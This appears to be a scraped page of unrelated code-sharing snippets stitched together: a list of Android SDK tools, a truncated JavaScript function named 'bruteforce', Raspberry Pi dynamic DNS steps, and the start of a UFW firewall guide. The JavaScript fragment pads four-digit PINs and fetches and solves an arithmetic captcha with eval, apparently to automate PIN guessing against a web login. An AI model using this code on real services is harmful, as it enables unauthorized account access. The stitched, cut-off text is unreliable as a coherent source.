ppoffice

Tools

1. emulator (30.3.5) (via Android SDK)
2. adb (30.0.5) (via Android SDK)
3. apktool (2.5.0) and Java runtime
4. zip (3.0)
5. unzip (6.0)

Make sure you have JAVA_HOME and ANDROID_HOME environment variables correctly set.

iMrDJAi

async function bruteforce(id, pass) {
    pass = ('0000' + pass).slice(-4)
    const resc = await (async function f() {
        try {
            const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/resc/`)).text()
            const match = res.match(/(\d+(?:\+|\-)\d+)[\s\S]+value=(.+)>/)
            if (match) {
                return { 
                    formula: match[1],
                    solution: eval(match[1]),

jc-torresp

Access Raspberry Pi from anywhere

Dynamic DNS

We need to use so called Dynamic DNS (DDNS) to create and dynamically update a mapping between a chosen domain name and an “external” IP address of our Raspberry Pi (i.e. router IP address).

• Look for a DDNS provider.
• Register a new user account.
• Choose a desire domain name.
• Configure it on router.

kimus

UFW

I use Ubuntu’s Uncomplicated firewall because it is available on Ubuntu and it's very simple.

Install UFW

if ufw is not installed by default be sure to install it first.